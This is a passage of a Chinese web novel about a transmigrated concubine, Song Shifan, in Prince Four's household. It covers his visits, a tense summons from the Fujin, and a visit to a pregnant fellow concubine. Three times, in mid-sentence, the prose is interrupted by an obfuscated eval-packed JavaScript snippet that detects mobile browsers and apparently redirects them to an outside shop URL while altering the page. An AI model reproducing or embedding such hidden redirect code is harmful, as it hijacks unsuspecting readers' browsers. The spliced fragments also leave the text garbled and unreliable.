倒是把宋时繁院子里的奴才们吓了一跳,他们的主子爷居然蹲在院子里摸狗,这也太...太幻灭了,还真是时间长了什么新鲜事儿都能瞧见。 “这狗性子不错,可有取名?”四爷问道。 宋时繁一听四爷这话就是许她养着狗的意思,连忙乘胜追击:“回四爷的话,名字已经取好了的,叫来福。” “怎么取了这么个名字,也太...”话音未落,四爷又想起宋时繁给大格格取的小名,得,可以说还真是一如既往地不着调了。 于是,四爷话锋一转开口道:“也罢,这狗确实是个有福气的,名字倒也没错,又和你有缘分,你既养了那就好好养着吧。” 有了四爷这句话,来福可算是能安安生生在她院子里了,宋时繁心里头高兴,不由多说了两句:“多谢四爷,您瞧,来福也在谢谢您呢。” 也不知道是不是刚才四爷的抚摸给了来福勇气,这会子来福正一个劲儿地往四爷手里钻,宋时繁的话又带了些引导的意味,四爷还真从来福身上看出来那么些感激不尽的意思,不由失笑,这一主一狗怎么都这样不着边际? 宋时繁见四爷笑了,心下大定,却不想,四爷忽而又提起来福的衣服。 “它这衣裳上的花纹倒是有趣,你绣的?” 宋时繁都快忘记这茬了,此时也只得硬着头皮回答:“是奴才画了让奴才身边的竹苓绣的,奴才不会这些针线功夫。” 四爷闻言有些意外,他还没见过后院里有谁这么直白地把自己的缺点说出来,一般不都是藏着掖着?哪怕不是自己做的,既得了他的夸奖,也是要认下的,毕竟身边奴才做的,也就是主子自己做的,反正对旁人来说,没差。 于是,四爷便以为这是宋时繁的谦虚之言,仍旧赞她道:“虽不是你绣的,可图案既是你画的,也算是出自你手了,可见你心思奇巧,回头给爷也绣一个香囊。” 显然,四爷以为宋时繁说不会是托词,可只有宋时繁知道,她是真地一点儿都不会这些,这可真是为难死她了。 不过,四爷可不管这些,要完香囊转身便朝着宋时繁的屋子里走去。 被他落在身后的宋时繁一脸无语,这人怎么想一出是一出?也不知道现在开始学还来不来得及... 等宋时繁也进了屋,四爷已经悠悠然坐在窗前的榻上了,手里还拿着一本书,见宋时繁进来了便道:“去给爷沏一壶茶来。” 宋时繁只得又回转出去,问了白薇怎么沏茶后,自己提着茶壶给四爷泡茶。 再次进屋的时候,宋时繁手上就捧着一盏茶。 “四爷请用茶。” 四爷闻言略一抬眸子,最先映入眼帘的便是一双素手,宋时繁皮肤白,再加上她手指纤长,一双手真宛如一块上好的羊脂白玉。 四爷顺着手臂往上看,由于宋时繁微微垂着头,于是四爷便只能瞧见她一小截纤细的脖颈子,和一个小巧的下巴,格外精致美丽。 到了这时候,四爷才注意到宋时繁没有梳头,只简单挽了发髻,许是发髻有些松了,几缕碎发调皮地垂落在宋时繁的耳畔。 宋时繁的身上也全无装饰,项圈、耳坠、戒子什么的一应都没有戴,就这么白白净净一个人站在四爷面前给他奉茶。 但就是这样素淡的一个人,却让四爷怎么看怎么好看。 四爷是知道宋氏好看的,否则当初他额娘也不会在那么多宫女里头偏偏挑中宋氏指给他,可也不知怎的,四爷觉着这小格格竟然越来越好看的。 看着看着,四爷忽而觉得口渴,轻咳一声后接过了宋时繁手里托着的茶,又掩饰性地喝了一口,却不想,茶太烫了。 宋时繁一看四爷的表情就知道他被烫着了,当即便有些手足无措。 她方才还打算提醒四爷晾一晾再喝的,毕竟是刚沏上来的茶,谁知道四爷一接过去就往嘴里送,愣是没给她机会让她插上话。 思索片刻后,宋时繁忙捞起原先就摆在桌上的水壶,这壶里的水是她早上喝的来着,以防万一,她又用手摸了摸,确实是冷的,于是,宋时繁连忙倒了一杯凉水递给四爷。 “四爷快喝这个压一压,这是凉水。” 四爷也真是被烫很了,一听这话接过杯子便灌了下去,确实是凉水,可回过味来的四爷也意识到宋时繁给他喝的肯定是先前剩在壶里的水。 宋时繁也反应过来了,好嘛,她现下不光烫着四爷了,还给四爷喝了剩水,她怕是很快也要凉凉了。 “四爷这会子感觉如何,要不要请太医来瞧瞧?”宋时繁还真有些怕了,关键是她也不知道烫着皇子是个什么罪,会被罚成什么样,所以心里就忐忑地不行。 四爷本来有些不高兴的,可眼下瞧宋时繁这样关切自己,脸上的担忧也作不得假,便忘了生气,只顾着琢磨宋时繁可爱了。 殊不知宋时繁只是怕四爷罚他,才这样殷勤备至。 不过这个美丽的误会四爷还是不知道得好。 好在四爷只是当时被烫到的那一下有些难受,这会子已经好了,再说了,他到底也是个男人,难不成让他在女人面前承认自己弱气? 所以四爷大手一挥道:“这点子小事哪里就值当叫太医了,你当爷是泥捏的?而且,爷若是在你这儿叫了太医,后院又该不安生了,对你也不好,行了,爷没事,你放心吧。” 宋时繁暗暗松了口气,这事儿只要四爷不继续追究,应该就不会有事了吧? 说话间,膳房那边也将午膳预备上来了,苏培盛进来请示四爷是否要传膳。 “传吧。”四爷随意点头道。 紧接着一众人鱼贯而入,开始往桌子上摆膳,宋时繁看这架势还以为是要弄个满汉全席出来呢。 其实也怪不着膳房弄得隆重,主要今天点菜的时候宋时繁就点了个羊肉面,要单单就一个格格的午膳倒也算了,可主子爷在这儿呢,谁敢糊弄。 所以就算主子没点,他们膳房也不敢真地只上个面,那不就是存心怠慢主子爷了?怠慢格格不要紧,怠慢主子爷岂不是寿星公上吊,活腻歪了。 于是膳房只得按照规矩来,所以这排场就大了些。 其实归根结底,还是宋时繁不了解府里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546657|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规矩,她以为四爷跟她的差距不过是四爷点什么就能吃到什么还不用花钱,实际上,差得可不止是这一星半点的。 不过眼下,宋时繁没功夫琢磨这些,她的心神早就被那香气四溢的饭菜给勾走了。 膳房也是花了心思的,宋时繁只说煮个清淡的羊肉面,膳房便上了好几种汤,面条则是先用水过了一遍,然后捞出来搁在凉水里备用,想吃什么样的,只管盛了汤,再将面条放里头就得了。 除了面条,自然还有别的。 八宝鸭、姜汁鱼片、油焖大虾、绣球干贝等等均是平时宴上才能吃到的菜,甚至还有一道煨鹿筋,素菜也是选了精致好看的送上来,什么明珠豆腐,糖醋莲藕等,至于点心饽饽就更不用提了,一应都是俱全的。 看得宋时繁只咋舌,四爷也有些意外今日怎么这么丰盛,只当是宋时繁嘴馋点的多了,倒也没说什么,给宋时繁赐了座,二人便沉默地用起膳来。 宋时繁原先确实是只想吃点汤汤水水的清淡东西,可如今一大桌子珍馐美味在面前,她若是不多吃两口那岂不是太亏了。 所以宋时繁只吃了一小碗面以后就转战到其他菜上去了,倒是四爷竟格外喜欢宋时繁点过来的羊肉汤面,吃了两大碗犹觉不足,若不是想着有规矩在,四爷怕是还要再吃一碗的。 好在羊肉汤的面吃不了了,还可以用别的汤嘛。 于是四爷又盛了一碗鸡汤面,汤里头有细细的鸡丝,伴着菌菇丝,鲜美得很,再加上这面条约莫是膳房里的人现擀出来的,不光柔韧还有筋道,委实是让四爷吃舒坦了。 再说宋时繁这一顿吃得别提多满足了,所以她瞧见四爷的时候就立刻咧开嘴笑,毕竟若不是四爷来了,她可吃不到这么好的菜,现下四爷在她眼里就跟那行走的菜谱似的。 四爷不知道宋时繁的心思,只是他捧着茶,看见宋时繁一脸餍足的样子,便觉得有趣,心说这小格格吃饱了跟个猫儿似的,看着真是乖巧,怎么就这么招人疼呢? 于是,就听见四爷对着苏培盛道:“今日膳房伺候得好,你去,替爷赏他们。” 哟,这是膳房第几次得赏了?不过不管几次,都是主子爷在宋格格这里用膳用得高兴才赏的,苏培盛心说,以后怕是没人觉得宋格格不得宠了吧? 这事儿不出下午,府里人就都知道了,毕竟膳房三番两次得了四爷的赏赐,还都是四爷陪着宋时繁用膳的时候才得了赏,这能不是大事吗? 很快,就有后院里其他房的人悄悄地去给膳房送银子了,目的嘛,自然是想要打听一下宋时繁那边的膳食了,当然,这些都是后话了。 彼时,四爷本来只是打算来宋时繁这里用个午膳的,顺道看看她,可现下吃饱喝足后的四爷却不想挪窝了。 说起来也不知怎地,每每一到了宋时繁这里,他就不想走,约莫是宋时繁瞧着就傻愣愣的,也没什么心眼,所以他才乐意往这边来吧,四爷默默想着。 宋时繁不知道四爷在想什么,她只知道她现在必须得动一动了,否则肯定要消化不良了。 “四爷,奴才能在院子里走走吗?”宋时繁不知道四爷能不能同意,但还是问了一嘴。 四爷闻言挑了挑眉,心说小格格这是什么要求? 但四爷想了想还是接话道:“是不是方才撑着了?” 宋时繁有些不好意思:“有点儿。” 四爷便也没说什么,拉着宋时繁就往外头走,这就是要陪着宋时繁逛一逛的意思了。 其实宋时繁的意思是她自己走走,不过四爷显然是误会什么了,当然,她也没那个心思提醒四爷就是了,反正都是走,一个人走还是两个人走,对宋时繁来说差不了多少。 宋时繁便跟着四爷顺着院子慢慢走,四爷时不时还同宋时繁说个一两句话,倒是一片岁月静好的气氛。 可惜,宋时繁的院子实在太小了,冬日里也没什么景致,没走一会儿四爷就觉得没意思了。 “你这地方太小了。”四爷无可无不可地说了一句。 宋时繁却有些不以为然:“这还小呢?奴才带着大格格住怎么着都是尽够了。” 四爷见宋时繁说的不是假话,心道小格格倒是挺容易满足,便也不再说什么了。 四爷不开口,宋时繁反倒觉着尴尬了,她忽而想起自己上午还打算运动来着,不如趁现在跟四爷请教一下,有没有什么适合她强身健体的运动方法。 毕竟都到了古代,肯定要学习一下古代人的养生方法,这可都是老祖宗的智慧,说不定也更适合原身的体质。 而且,她总不能在院子里头做什么波比跳之类的吧,虽然不会有外人看见,可搞不好会吓着白薇她们呢。 所以宋时繁想来想去,还是问问四爷这个古人比较靠谱。 “四爷,您说奴才能不能练一练拳脚功夫?”宋时繁说着,还举出自己的小拳头跟四爷样了样了,试图从自己身上找到一丝力量的痕迹。 四爷瞧着宋时繁的动作,眉心狠命跳了一下,突然十分想捂脸。 这小格格脑子里又想什么呢? 56. 心累的一天 宋时繁没有注意到四爷颇为怪异的神色,仍旧自顾自地道:“奴才这不是身子骨太差劲了嘛,若是能学点拳脚功夫,说不定就强健起来了呢。” 原来是这样,还好不是因为什么奇怪的原因,不知为何,四爷有些庆幸地想道。 “你一个女孩儿家学什么拳脚?若是身子有不妥当的地方,爷叫个太医来给你瞧瞧就是。”反应过来的四爷眉眼之间全是不赞同。 宋时繁皱了皱鼻子有些无奈,心说她跟清朝人真是没话聊。 “四爷您误会了,奴才没有不舒服,就是想找点事情做做,再说了多动动总归对身体有好处嘛,而且说不定以后还能防身呢。”宋时繁是真心不想自己天天弱柳扶风的,脸上连点血色都没有,一看就不是长寿的命,她可还想长长久久活下去呢。 四爷闻言,眉心的沟壑更深了:“胡说八道什么呢?难道你还想到外头去不成?在府里用得着你防身吗?” 不得不说,四爷的心里虽然已经有了宋时繁这号人,可骨子里仍旧没太把宋时繁当回事,说句难听的,宋时繁现如今在四爷这里充其量就是个挺喜欢的物件。 宋时繁也不是傻的,自然听出了四爷话里的意思,一时间感到有些无力,抿了抿嘴唇没再开口了。 算了吧,看来她还是没事的时候绕着院子里跑跑得了。 倒是四爷,瞧着宋时繁原本高兴的脸上显出落寞来,心里忽然有些不是滋味,仿佛他叫宋时繁受了天大的委屈一样。 “咳,爷不是不叫你学,只是你如今年纪也大了,不比小孩子家耐摔打,确实不宜学什么拳脚功夫,可爷觉着你说得也有道理,是该多动动身子才好呢,你若真想学点什么...爷教你打五禽戏吧,那个简单,相比较而言也不太费力气。” 四爷这会子是真乐意哄一哄宋时繁,于是不光说,还真起了势,在宋时繁面前,像模像样地打了一套五禽戏给她看。 于是,宋时繁看着四爷一会儿学猴,一会儿学鸟,一会儿又趴着学老虎,彻底不知道该说什么好了,当初直接跑步多好,不久没这么多事了...宋时繁捂着脸想道。 最后的结果就是:在四爷的热烈邀请之下,宋时繁只得被迫跟着四爷好一通学,直到宋时繁把这套五禽戏的动作都学得差不多了,四爷才算是放过宋时繁。 还真别说,经过这么一番活动下来,宋时繁并着四爷两人都出了汗,尤其是宋时繁,平时一点儿不运动的人,大冬天的,里衣都有些湿了,既如此,索性二人便一同进了内室更衣。 四爷在宋时繁这里是存着有衣服的,只不过都是些常服,好在已经晚上了,四爷也不打算出门,便随意找了一身月白色的长袍换上。 等四爷更完衣后发现宋时繁还没好,四爷想了想他也有日子没见着大格格了,便自己抬脚拐去西厢看女儿了。 另一边,宋时繁是在侧间里头更衣的。 当然,这也是规矩,哪能当着主子爷的面儿换衣服呢?所以宋时繁便避了出去,这倒也好,省得尴尬,宋时繁自问如今她还做不到青天白日的就跟四爷坦诚相对呢。 不过女子的服饰到底要麻烦些,而且宋时繁还让白薇打了盆热水来,她要先擦擦身子再换干净衣服,所以便慢了四爷一步。 “格格您别着急,慢慢儿来,方才四爷去瞧大格格了。” 宋时繁点了点头,将衣领子扣好,又伸手抚了抚袖口,将衣服都拉平整了才出了侧间往西厢房去。 刚走到门口,宋时繁就听见四爷的声音传了出来。 无外乎是询问大格格一日吃了几回奶,睡得好不好之类的话,四爷几乎每日都要问一问的,就算他自己来不了,也是早晚派了前院的小太监来替他看大格格。 宋时繁心里是庆幸的,不管怎么说,四爷对这个女儿总归是上心的。 思及此,宋时繁便没有往里头进,而是在门口安静地等着四爷出来。 又过了一盏茶的功夫,四爷才从西厢房里出来,见宋时繁等在门外,语气柔和道:“爷方才见大格格好像长大了不少,你费心了。” “小孩子这会子正是长身体的时候,一天一个样,奴才天天看着咪咪都觉得她变化大,爷隔几日才见一次自然会这样想,奴才不敢居功呢。” 四爷笑了笑:“这是抱怨爷瞧孩子瞧少了?” 宋时繁心下一跳,忙解释:“不是这样的,四爷您误会了,奴才并没有这个意思...” 不待宋时繁把话说完,四爷就伸出手掌来,轻轻拍了拍宋时繁的小臂:“好了,爷跟你玩笑一句,做什么急得脸都白了,你怎么胆子这么小,就这样怕爷?” 嚯,能不怕吗?您老人家可握着她跟大格格娘俩个的小命呢。 不过,宋时繁面上却不敢显露,也知道这时候回答怕或者不怕都不好解释,干脆直接冲着四爷笑了笑,然后就把头垂下去了,让四爷自己猜她是什么意思吧。 果然,四爷还当宋时繁害羞了,倒没说什么旁的,只叮嘱道:“你好好的,爷前院里还有公务,晚上就不陪你了,赶明儿得了空,爷再来瞧你跟大格格。”说到这里,四爷顿了顿,又开口道:“不许悄悄抱怨爷。” 得,嘴上说是玩笑话,心里还是觉得宋时繁有怨怼的意思。 宋时繁却是不打算解释了,她早就看明白了,这个四爷自有一套想法逻辑,跟他解释纯属对驴弹琴,她还是别白费口舌了,免得多说多错,反正四爷明面上没怪罪就成,管他心里怎么想呢。 于是,宋时繁利落福身:“奴才知晓了,恭送四爷。” 四爷见状点了点头,迈开步子便出了宋时繁的小院,朝前院去了。 四爷走没影儿以后,宋时繁就回屋了,从四爷来就折腾到现在了,她早乏了,现下宋时繁只想歪到榻上好好歇一歇。 可还没等宋时繁的屁股挨上软榻呢,就听石桥过来禀报,说是正院派了人来传话,叫格格们都往正院那头去呢。 宋时繁眨巴了两下眼睛,有些疑惑:“黑不提白不提的,怎么忽然叫人去?” 石桥低声回答道:“听说是福晋从德妃娘娘处回来了,还带着一大堆德妃娘娘的赏赐呢,这才叫了格格们去叙话。” 宋时繁听了这话更觉稀奇了,按说德妃赏赐肯定也是赏赐福晋的,怎么着也不该有她们这些格格们的事,这会子却又大喇喇叫她们去,还特意提了德妃赏赐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566642|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一事,别说,真叫宋时繁有些摸不着头脑了。 无论如何,福晋既然特特叫人来请了,那怎么都得跑这一趟的。 好在宋时繁的衣裳是方才新换上身的,虽说是家常穿的,颜色也素淡,但总归不算失礼,衣裳妥当了,宋时繁又叫白薇帮她梳了个小两把头,再选了几样不打眼的首饰戴上,这便可以出门了。 还不知道到底是什么事儿呢,低调着点儿比较好。 不过,宋时繁这次却是想错了,到了正院以后,还真是给她们德妃赏了东西下来。 “奴才们给福晋请安,福晋吉祥。”宋时繁同武格格、郭格格一起给福晋行礼,今次倒只有她们三人,李格格仍在静养,侍妾们也没有再跟着来了。 “都起来吧,芸香,给格格们赐座。” 不知怎的,福晋的语气里透着些疲惫,宋时繁借着起身的功夫,快速打量了福晋一眼,只见福晋眉心微微蹙着,嘴唇几乎抿成了一条直线,面上也尽是不耐,却极力压制着不肯表现出来。 宋时繁略微一琢磨就明白了,想必福晋是在德妃那里吃挂落了,唉,看来婆媳问题还真是个千古难题啊,希望等下福晋不要因此迁怒她们就好。 福晋心里头确实气坏了,她一大早就被德妃娘娘传进了圆明园,却也不说有什么事,只让她一直在跟前立规矩,从德妃娘娘用早膳开始到现在,她伺候了德妃娘娘整整一天,只有德妃娘娘睡午觉的时候,她才得空歇了歇,囫囵吃了口饭,又紧赶着进内室去伺候,直到这会才把她放出来,叫她归家。 其实,福晋也不是不愿意伺候德妃娘娘,毕竟寻常家做媳妇儿的自然也该日日跟在婆母面前立规矩,她算是好的,嫁到了皇家,德妃娘娘也宽和,嫁进来这一年从不叫她辛苦,只碰上年节的时候要进宫请安,平日里尽到孝心也就行了。 现在乍不乍来这么一遭,好悬没把福晋累过去,福晋能不气吗? 可福晋想起自己临走时,德妃娘娘那几句警告她的话,福晋心里又苦得很,也明白德妃娘娘是在敲打她,这表明四爷也对她不满呢,能不叫她悬心吗? 又累又怕的,福晋面上可不就显出憔悴来了,但因着德妃娘娘发了话,这会子福晋也只得硬撑着,应酬几位格格。 “今日我去给额娘请安,额娘知道你们伺候主子爷辛苦,便让我给你们带了些赏赐,你们也该体会额娘的心意,更要用心侍奉才是。”福晋心里觉得难堪,说话就不愿意拐弯抹角,直接开门见山。 可不是难堪嘛,就没有做婆母的直接赏赐妾室的道理,宋时繁如是想道。 再将先前一连串的事情联系起来,宋时繁猜测约莫是德妃在借此表达对福晋的不满呢,当下也不敢做出头鸟招福晋的眼,只老实低着头听福晋说。 可福晋却显然不愿意放过宋时繁。 “宋氏,额娘还特意提起你了,你生育大格格有功,额娘都是记着的,还叮嘱你日后用心照顾大格格,你是额娘亲自指给咱们主子爷的,额娘可对你寄予厚望呢。” 福晋微仰着下巴,语气却有些阴阳怪气。 宋时繁暗暗叹了口气,知道该来的,就是想躲也躲不掉,真心累啊... 57. 姐妹茶话会 说什么寄予厚望,简直是笑话。 府里上上下下,谁会不知道她生产的时候伤了身子?别说她现在的身体条件适不适合生孩子,就是还能不能生那都两说呢。 当然啦,她就是能生也不想生了,生活在这种地方,自己都朝不保夕的,再弄出来一大堆孩子做什么?若是真不能生了那才最好。 况且,宋时繁就不信德妃一点儿都不知道自家儿子后院里头的事,否则今日也不会特意把福晋请过去了,既然德妃知道,按照皇室里重视子嗣的程度,甭管怎么说都不可能再叫她生孩子了。 由此可见,福晋这显然是有气儿没处撒,在拿她败火呢。 不得不说,宋时繁真相了... 福晋自己也知道她这是迁怒宋氏了,可对面就是个没有根基的小格格,迁怒就迁怒了,宋氏又能怎么样? 谁说不是呢,宋时繁确实不能怎么样,她倒是想支棱起来,可客观条件不允许呐,不仅不允许,她还得老老实实起来回话。 “福晋这话委实是折煞奴才了,奴才不敢当。” 福晋见宋时繁软绵绵的样子,就像是一拳头打在了棉花上,自觉没什么意思,再加上身边的吴嬷嬷正一个劲儿地在给她使眼色,福晋只得抿了抿唇,冷哼一声不再开口了。 吴嬷嬷也是无奈,自家主子是家里头最小的女孩,上头还有一个亲哥哥,自幼便是百般恩宠,长到这么大还真没吃过什么亏,谁知一朝被指给了四爷做福晋,家里再想教导也来不及了,虽说有她在旁提点着,可福晋到底是主子,她也不能下狠功夫去管。 其实,吴嬷嬷也时常劝着福晋不要与格格们争锋,之前想着让福晋把侍妾们推到四爷面前,也是为了尽早抱一个孩子过来正院,不管怎么说,正院里能有个子嗣总归是好的。 可福晋...唉,这都不提了,今日德妃娘娘传了福晋过去,明摆着是四爷借自家额娘在敲打福晋呢,回府路上,她嘴皮子都快磨破了,就是劝着福晋定要忍耐,千万别图一时之快,谁知道福晋嘴上应了,可事到临头还是没忍住。 四爷本就因为福晋不容人才冷了福晋这么些天,做甚要上赶着找四爷不痛快呢?哪怕是做个样子给四爷看呢? 如今福晋在府里的地位还不算稳妥,最要紧的便是将四爷牢牢抓在身边,然后赶紧生个孩子出来,继续这么闹腾有什么好处? 虽说福晋心里也有气,可未免太任性了些。 思及此,吴嬷嬷忙上前笑着打圆场:“宋格格就不要太谦虚了,福晋说得都是真心话,宋格格给府里养育了大格格,主子们都记着宋格格的好呢。” 宋时繁闻言笑了笑,记不记着什么好的她还真无所谓,只少为难她几次,她就要谢天谢地了。 吴嬷嬷又同宋时繁说了几句漂亮话,宋时繁都笑着应下了,气氛才算缓和了些。 至此,福晋总算是想起她把格格们召集来的目的,唤芸香上来将赏赐分给了宋时繁等人,又让人将李格格那边的赏赐送过去了。 “既都得了赏赐,便散了吧,我今日也乏了。”说着,福晋摆摆手下了逐客令,宋时繁忙跟着旁人一块儿起身告退。 出了正院,宋时繁本想直接离开,不承想武格格却叫住了她。 “宋姐姐别急着走,李姐姐病了有几日了,如今好多了,我跟郭妹妹打算去瞧一瞧她,宋姐姐要一起吗?咱们一块去瞧李姐姐,也给李姐姐省事儿了。” 宋时繁对此倒没什么意见,她们几个算是在一块共事的,那就是同事了,同事病了一起探病这没什么毛病。 于是,宋时繁点点头道:“那也好,咱们走吧。” 不多会儿,三人到了李格格的院儿里,迎面就碰上了李格格身边的高明海。 “奴才给几位格格请安。” “不必多礼,快起来吧,我们是来看望李格格的,你家格格现下如何了?”宋时繁算是三人当中资历最老的,这个时候自然要先开口说话。 高明海垂着头答道:“回宋格格的话,李格格好多了,几位格格里头请。”说着让开身子,让宋时繁三人进了院子,高明海自己则先去里头了,想是要禀告李格格一声的。 三人进了内室,屋子里,火炉子烧得正旺,一进屋就感到暖烘烘的,只见李格格正合衣躺在床上同身边的小丫鬟说话呢。 宋时繁进去后打量了一下李格格的面色,倒是还算红润,瞧着精神头也是足的,应该已经没有大碍了。 “诸位今日怎么有空到我这里来了?”李格格见了宋时繁三人,脸上露出个笑来。 “瞧李妹妹这话说的,你身子不舒坦我们都挂着心呢,这不,一听说你好些了,便一起过来看看你。”宋时繁也跟着说了句场面话。 “随喜,快搬凳子来,叫几位姐妹们坐下,”李格格先是吩咐了随喜一声,又冲着宋时繁几人笑道:“我还病着,太医嘱咐不能起身,招呼不周了,姐妹们见谅。” 随喜得了吩咐带着两个小太监搬了三个绣墩子,伺候宋时繁等人坐下,又忙让人沏茶上点心。 待三个人一人捧了一杯茶以后,宋时繁才缓缓开口道:“本是好心,想来看看你好些没有,若再累着你倒是我们的不是了,快叫他们都别忙了。” 武格格闻言也笑吟吟道:“是呢李姐姐,咱们姐妹许久没见了,在一起说说话也就是了。” “我成日里躺在屋里哪儿也去不了倒没什么趣,也不知道姐妹们在外头有没有什么新鲜事儿说给我听听?” “除了每日给福晋请安,左不过就是呆在院子里头,没什么新鲜的。”宋时繁有些无奈,她现在的生活可以称得上是无趣至极了,想找些花头都没有,自然没什么可说的。 “昨日府上摆了戏,还算热闹。”武格格忽然提起这茬来,一时间没有人接话。 李格格听了这话微微扬起下颌,神情颇有些倨傲地开了口:“哼,这事我知道,咿咿呀呀地唱了一天呢,只不过隔得远,我听不大真切,也难为福晋记着我,知道我听不着戏,还赏了我一桌子菜,她倒是好心,只可惜,拜安氏所赐,我是没法亲自去谢恩了...” 虽然李格格话是这么说的,可宋时繁听到后面硬是听出些咬牙切齿来,她不禁飞速看了一眼武格格,心道这武格格莫不是专门过来招惹李格格的? 宋时繁暗自叹了口气,想了想还是道:“我先前还真没怎么听过几次戏,昨个初初听来觉得还挺新鲜的,可惜没一会儿便觉得没趣儿了,倒是一旁的点心不错,我吃了不少呢,差点还积食了。” 宋时繁这话一出,几人的神色都松动了些。 李格格率先笑开了,跟宋时繁调笑道:“宋姐姐,你都已经是孩子的额娘了,还这样贪嘴呢?” 宋时繁挑了挑眉道:“孩子额娘怎么了?难不成有了孩子我就不吃不喝了?我不得自己吃好了才能管好孩子嘛。” 一向沉默寡言的郭格格竟然破天荒应声道:“别说宋姐姐这几句话糙是糙了点儿,但理儿还真就是这么个理儿,好比李姐姐如今怀着孕,若是身子有什么不舒坦了,肚子里的孩子也得跟着受罪,可不就是额娘先好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583899|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,孩子才能好嘛。” 宋时繁给郭格格投去了一个赞赏的目光,嗯,孺子可教也。 武格格拿帕子捂着嘴笑道:“郭妹妹好不害臊,自己还没当上额娘呢,育儿经倒是先说起来了。” 郭格格本来还侃侃而谈呢,经过武格格这么一打趣,脸登时就红透了,再不肯开口说话。 武格格还不依不饶去拉郭格格的手:“哟,看来妹妹是知道害臊呢,瞧瞧,脸都红了。” 宋时繁也笑了:“你快别逗她了。” “宋姐姐怎么总是帮着郭妹妹,我也是你妹妹,你怎么不疼我?”武格格忽而调转枪头对准了宋时繁。 武格格这话属实是让宋时繁不知道怎么接,她眨巴了两下眼睛才开口:“我还是吃点心吧。”说着,拿起桌上的栗子糕咬了一口。 李格格见状许是想炫耀一番自己如今深得宠爱,便指着栗子糕状似不经意地开口道:“说也奇怪,我今儿一早起来就想吃这个,主子爷便特意吩咐膳房做了给我送来,可真见到这栗子糕了,我却没胃口了,倒是浪费了主子爷的苦心。” 宋时繁心下觉得好笑,这李格格还真是一如既往地简单又可爱。 “那是,李姐姐如今有着身孕,主子爷自然会多看顾几分,只是李姐姐如今胃口这样不好吗?”武格格接了一句,语气里有些疑惑。 这话还真问到了李格格的心坎上,她叹了一口气:“是呢,刚知道有孕那会子反应就大,到现在都已经快四个月了,还是什么都吃不下,动不动就要吐,也问过太医了,太医只说是正常的,有那怀孕的人能一直吐到生产呢...” “妹妹这还真是有些严重,不过老这么吃不下去可不行,时间长了对身体不好,就一点儿没有想吃的吗?不拘什么,现下能吃进去总比什么都不吃强些。”宋时繁建议道。 李格格思索片刻后:“酸的辣的倒是都能吃进去些,可太辣的我也不敢吃,只好找些酸的来吃,这不,前几日膳房还送了一筐山楂过来,那个我还能吃上几个...” 说到这里,李格格又喊随喜:“随喜,上一碟子山楂来,”说罢,又瞧着宋时繁几人腼腆一笑:“不说还没什么,一提起来我又想吃了。” 宋时繁摆摆手:“那也是,孕妇想吃什么可不能等,立时就要吃到的,只不过山楂可不能多吃。”她想了想还是提醒了一句。 李格格闻言点了点头:“太医嘱咐过,我吃得也不多,一日吃上一两颗,不打紧的。” 宋时繁听了也就不多说什么了。 说话间,随喜将山楂端了上来,李格格先拿起一颗来,还招呼众人:“姐妹们也尝一尝,我吃着是不错的。” 武格格心下好奇,跟着捻起一颗放进嘴里,当即脸就被酸得皱了起来:“好酸!” 郭格格见状倒不敢尝了,她最是怕酸,宋时繁也没尝,她那里有,已经领教过这个山楂的酸了,现下还是不必了。 这时候听见武格格又道:“怕不是怀了孕都要吃这么酸的东西吧?那我可不敢怀了...”说罢忙放下手里的山楂,再不敢尝一口了。 宋时繁被武格格这话逗得不行,李格格更是开口笑话武格格:“那可由不得你了!到时候孩子找你去了,你还能不要?” 武格格闻言,脸立刻垮了下来,一副苦大仇深的样子,连郭格格瞧了都抿着嘴笑了。 几人又陪着李格格说了一会子话,说说笑笑的,难得地一片和睦气氛,宋时繁心说这才是十几岁小姑娘凑在一块儿应该有的样子嘛,天天规规矩矩才没意思呢。 58. 特意看她 又过了几日的一个午后,宋时繁正在书桌前练字。 没错,她现在决定将练字这件事重新拾起来了,毕竟她那一手鬼画符一样的毛笔字属实是太有碍观瞻了。 不过,宋时繁毕竟不是从小就学这个的,要想一口吃成个胖子也不现实。 于是,她给自己定下了个小目标,每日挑上两个字来练,一个字写上二十遍,这样循序渐进地慢慢儿来,也不至于太过辛苦了。 只是练字确实是一件苦差事,宋时繁这又是刚刚开始,一时间还没适应呢,所以才写了没一会儿,宋时繁就觉着手腕子疼,她便暂时搁下笔,活动活动腕子。 竹苓见状忙上前给宋时繁递了杯热奶茶,因着宋时繁不太喜欢喝茶叶,所以平时她这里呈上来的都是奶茶,她倒也能喝得惯。 “格格何必这样辛苦,累了就歇歇别练了吧。”竹苓关切地道。 